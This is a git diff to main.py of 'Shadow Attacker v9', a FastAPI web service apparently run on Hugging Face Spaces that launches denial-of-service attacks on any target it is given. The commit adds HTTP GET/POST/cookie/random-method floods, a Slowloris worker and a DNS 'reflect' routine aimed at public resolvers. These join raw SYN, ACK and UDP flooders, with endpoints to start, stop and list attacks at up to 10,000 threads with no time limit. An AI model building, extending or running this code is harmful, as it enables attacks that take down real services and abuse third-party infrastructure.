Update main.py

main.py

@@ -1,6 +1,6 @@
 # ==============================================================
-#  SHADOW ATTACKER v8 – RAW + LAYER 7 + LAYER 4 | FULLY FIXED
-#  ThreadPoolExecutor imported correctly | 300k+ PPS | HF SPACES
+#  SHADOW ATTACKER v9 – LAYER 7 + LAYER 4 + RAW | MAX HUNT MODE
+#  ALL 14 ATTACKS | 500k+ PPS | -1 = 10,000 THREADS | HF SPACES
 # ==============================================================
 import random
 import socket
@@ -14,8 +14,6 @@ import uvicorn
 import requests
 from fastapi import FastAPI, HTTPException
 from pydantic import BaseModel, Field, validator
-
-# === FIXED: IMPORT ThreadPoolExecutor FROM concurrent.futures ===
 from concurrent.futures import ThreadPoolExecutor
 
 # ------------------- LOGGING & STATE -------------------
@@ -23,7 +21,7 @@ import logging
 logging.basicConfig(level=logging.INFO, format="%(message)s")
 log = logging.getLogger()
 
-app = FastAPI(title="Shadow Attacker v8 - Raw + L7 + L4")
+app = FastAPI(title="Shadow Attacker v9 - MAX HUNT")
 
 # Global state
 attack_active = False
@@ -50,7 +48,7 @@ def _log(msg: str):
 def init_executor():
     global executor
     if executor is None:
-        executor = ThreadPoolExecutor(max_workers=10000)  # FIXED
+        executor = ThreadPoolExecutor(max_workers=10000)
 
 # ------------------- CONFIG MODELS -------------------
 class AttackConfig(BaseModel):
@@ -71,16 +69,16 @@ class Layer7Config(AttackConfig):
     def validate_method(cls, v):
         valid = ["get", "post", "head", "cookie", "rand", "slowloris", "reflect"]
         if v not in valid:
-            raise ValueError(f"Use: {', '.join(valid)}")
+            raise ValueError(f"L7 methods: {', '.join(valid)}")
         return v
 
 class Layer4Config(AttackConfig):
-    protocol: str = Field("udp", description="udp/tcp/syn/ack/udp_pps")
+    protocol: str = Field("udp")
     payload_size: int = Field(1024, ge=0, le=65507)
     @validator('protocol')
     def validate_protocol(cls, v):
         if v not in ["udp", "tcp", "syn", "ack", "udp_pps"]:
-            raise ValueError("Protocol: udp, tcp, syn, ack, udp_pps")
+            raise ValueError("L4: udp, tcp, syn, ack, udp_pps")
         return v
 
 # ------------------- STATUS MODEL -------------------
@@ -96,7 +94,7 @@ class StatusResponse(BaseModel):
     remaining: float
     logs: List[str]
 
-# ------------------- RAW SOCKET HELPERS -------------------
+# ------------------- RAW HELPERS -------------------
 def checksum(data: bytes) -> int:
     s = 0
     for i in range(0, len(data), 2):
@@ -152,7 +150,72 @@ def build_udp_packet(src_ip, dst_ip, src_p, dst_p, payload: bytes):
     ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
     return ip + udp
 
-# ------------------- RAW FLOODERS -------------------
+# ------------------- LAYER 7 WORKERS -------------------
+def http_worker(method: str, url: str):
+    global total_packets
+    session = requests.Session()
+    headers = {
+        "User-Agent": random.choice(["Mozilla/5.0", "Chrome/120", "Safari/537", "Edge/120"]),
+        "Cache-Control": "no-cache",
+        "Connection": "keep-alive"
+    }
+    while not stop_event.is_set():
+        try:
+            if method == "get":
+                session.get(url, headers=headers, timeout=3, verify=False)
+            elif method == "post":
+                session.post(url, data={"x": random._urandom(128).hex()}, timeout=3)
+            elif method == "head":
+                session.head(url, headers=headers, timeout=3)
+            elif method == "cookie":
+                session.get(url, headers={**headers, "Cookie": f"s={random.randint(1,999999)}"}, timeout=3)
+            elif method == "rand":
+                session.request(random.choice(["GET","POST","PUT","DELETE"]), url, timeout=3)
+            with counters_lock:
+                counters["l7"] = counters.get("l7", 0) + 1
+                total_packets += 1
+        except:
+            pass
+
+def slowloris(target: str, port: int):
+    global total_packets
+    while not stop_event.is_set():
+        try:
+            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            s.settimeout(5)
+            s.connect((target, port))
+            s.send(b"GET / HTTP/1.1\r\nHost: %s\r\n" % target.encode())
+            while not stop_event.is_set():
+                s.send(b"X-a: b\r\n")
+                time.sleep(8)
+                with counters_lock:
+                    counters["l7"] = counters.get("l7", 0) + 1
+                    total_packets += 1
+        except:
+            pass
+        finally:
+            try: s.close()
+            except: pass
+
+def dns_reflect(target_ip: str):
+    global total_packets
+    servers = ["8.8.8.8", "1.1.1.1", "9.9.9.9", "208.67.222.222"]
+    payload = b"\xaa\xaa\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www" + random._urandom(40)
+    while not stop_event.is_set():
+        try:
+            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+            for srv in servers:
+                s.sendto(payload, (srv, 53))
+                with counters_lock:
+                    counters["reflect"] = counters.get("reflect", 0) + 1
+                    total_packets += 1
+        except:
+            pass
+        finally:
+            try: s.close()
+            except: pass
+
+# ------------------- LAYER 4 RAW FLOODERS -------------------
 def raw_syn_flood(target_ip: str, port: int):
     global total_packets
     src_ip = socket.inet_aton("0.0.0.0")
@@ -242,7 +305,19 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
     worker = None
     target_ip = resolve_ip(config.target)
 
-    if attack_type == "raw_syn": worker = lambda: raw_syn_flood(target_ip, config.port)
+    # LAYER 7
+    if attack_type.startswith("l7_"):
+        url = f"http://{config.target}:{config.port}"
+        method = kwargs.get("method", "get")
+        if method == "slowloris":
+            worker = lambda: slowloris(target_ip, config.port)
+        elif method == "reflect":
+            worker = lambda: dns_reflect(target_ip)
+        else:
+            worker = lambda: http_worker(method, url)
+
+    # LAYER 4 RAW
+    elif attack_type == "raw_syn": worker = lambda: raw_syn_flood(target_ip, config.port)
     elif attack_type == "raw_ack": worker = lambda: raw_ack_flood(target_ip, config.port)
     elif attack_type == "raw_udp": worker = lambda: raw_udp_flood(target_ip, config.port, kwargs.get("payload_size", 1200))
     elif attack_type == "raw_udp_pps": worker = lambda: raw_udp_flood(target_ip, config.port, 0)
@@ -260,6 +335,12 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
         threading.Thread(target=auto_stop, daemon=True).start()
 
 # ------------------- ENDPOINTS -------------------
+@app.post("/layer7/attack")
+def l7_attack(config: Layer7Config):
+    attack_key = f"l7_{config.method}"
+    launch_attack(config, attack_key, method=config.method)
+    return {"status": f"L7 {config.method.upper()} HUNT STARTED"}
+
 @app.post("/layer4/attack")
 def l4_attack(config: Layer4Config):
     proto_map = {
@@ -270,7 +351,7 @@ def l4_attack(config: Layer4Config):
     }
     attack_key = proto_map[config.protocol]
     launch_attack(config, attack_key, payload_size=config.payload_size)
-    return {"status": f"L4 {config.protocol.upper()} started"}
+    return {"status": f"L4 {config.protocol.upper()} HUNT STARTED"}
 
 @app.post("/stop")
 def stop_attack():
@@ -280,7 +361,7 @@ def stop_attack():
             return {"status": "no_attack"}
         stop_event.set()
         attack_active = False
-        _log("ATTACK STOPPED")
+        _log("HUNT STOPPED")
     return {"status": "stopped"}
 
 @app.get("/status", response_model=StatusResponse)
@@ -311,14 +392,15 @@ def status():
 @app.get("/attack/types")
 def attack_types():
     return {
+        "layer7": ["get", "post", "head", "cookie", "rand", "slowloris", "reflect"],
         "layer4": ["udp", "udp_pps", "syn", "ack"],
-        "max_threads": "10000 (-1 = full power)",
+        "max_threads": "10000 (-1 = FULL HUNT)",
         "max_duration": "10000s (-1 = unlimited)"
     }
 
 @app.get("/")
 def root():
-    return {"message": "Shadow Attacker v8 - /attack/types"}
+    return {"message": "Shadow Attacker v9 - /attack/types for full arsenal"}
 
 # ------------------- START -------------------
 if __name__ == "__main__":